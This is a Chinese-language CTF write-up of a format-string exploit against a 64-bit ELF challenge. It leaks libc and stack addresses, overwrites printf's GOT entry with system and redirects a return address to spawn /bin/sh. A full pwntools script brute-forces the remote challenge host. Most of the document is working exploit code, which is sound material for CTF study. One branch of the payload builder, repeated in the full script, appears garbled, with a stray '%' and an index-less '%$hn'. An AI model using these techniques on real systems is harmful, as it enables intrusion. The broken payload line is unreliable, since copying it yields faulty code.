64位ELF给了libc和ld需要patchelf,格式化字符串漏洞,循环读入栈中并输出但是没有清理,可以泄露libc或者stack地址
printf_str函数输出yuku并且输出我们输入的内容,但是没有格式字符串漏洞

输入后在0x4015D下断点看栈中的内容发现在栈中有libc地址

计算后填充并接受泄露地址得到libc地址和system地址
p.sendafter(b'say?\n',b'a'*151+b'b')
std_error=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
base=std_error-libc.symbols['_IO_2_1_stderr_']
system=base+libc.symbols['system']
泄露栈地址,并且在泄露地址-8处有vuln的返回地址

p.recvuntil(b"anything else?(Y/n)\n")
p.sendline(b'Y')
p.send(b'a'*0x100)
stack=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
ret=stack-8
我们要将printf的got表改为system的got表,将vulln的返回地址改为call printf的返回地址,所有再一次输入printf的got表和call printf地址配合下面的的非栈上的格式字符串漏洞使用
p.recvuntil(b"anything else?(Y/n)\n")
p.sendline(b'Y')
p.send(p64(elf.got['printf']+2)+p64(ret)+p64(elf.got['printf']))
修改got表和返回地址,但是同时修改3次地址有8种情况,采用爆破可以只用一种,故采用爆破的方式
p.recvuntil(b"Yukkri prepared a gift for you: ")
system_high=(system>>16)&0xffff
system_low=system&0xffff
ret=0x401671&0xffff
if (system_low+ret<system_high):
payload=b'%'+str(system_low).encode()+b'c%10$hn'+b'%' +b'%' + str(ret - system_low).encode() + b'c%9$hn'+ b'c%$hn'+b'%'+str(system_high-ret).encode()+b'c%8$hn'
else:
payload = b'%' + str(system_high).encode() + b'c%8$hn' + b'%' + str(ret - system_high).encode() + b'c%9$hn' + b'%' + str(system_low - ret).encode() + b'c%10$hn'
p.send(payload)
p.recvuntil(b"Yukkri prepared a gift for you: ")
p.sendline(b"/bin/sh\x00")
完整exp
from pwn import *
from pwn import p64,p32,u64,u32
context(os="linux")#log_level="debug")
from pwn import *
filename="./vuln"
elf=ELF(filename)
context.arch=elf.arch
os.system(f'chmod 777 ./{filename}')
debug=0
while True:
if debug:
p=process(filename)
else:
p=remote("node5.anna.nssctf.cn",24727)
libc=ELF("./libc-2.31.so")
#gdb.attach(p,"b *0x4016A4")
p.sendafter(b'say?\n',b'a'*151+b'b')
std_error=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
print('std---------------------------------_>'+hex(std_error))
base=std_error-libc.symbols['_IO_2_1_stderr_']
bin_sh=base+next(libc.search(b'/bin/sh'))
system=base+libc.symbols['system']
print('base---------------------------------_>'+hex(base))
print('system---------------------------------_>'+hex(system))
leave=0x401588
p.recvuntil(b"anything else?(Y/n)\n")
p.sendline(b'Y')
p.send(b'a'*0x100)
stack=u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
ret=stack-8
print('stack---------------------------------_>'+hex(stack))
p.recvuntil(b"anything else?(Y/n)\n")
p.sendline(b'Y')
p.send(p64(elf.got['printf']+2)+p64(ret)+p64(elf.got['printf']))
p.recvuntil(b"anything else?(Y/n)\n")
p.sendline(b'N')
p.recvuntil(b"Yukkri prepared a gift for you: ")
system_high=(system>>16)&0xffff
system_low=system&0xffff
ret=0x401671&0xffff
if (system_low+ret<system_high):
payload=b'%'+str(system_low).encode()+b'c%10$hn'+b'%' +b'%' + str(ret - system_low).encode() + b'c%9$hn'+ b'c%$hn'+b'%'+str(system_high-ret).encode()+b'c%8$hn'
else:
payload = b'%' + str(system_high).encode() + b'c%8$hn' + b'%' + str(ret - system_high).encode() + b'c%9$hn' + b'%' + str(system_low - ret).encode() + b'c%10$hn'
p.send(payload)
try:
p.recvuntil(b"Yukkri prepared a gift for you: ")
p.sendline(b"/bin/sh\x00")
p.interactive()
except:
continue
Comments NOTHING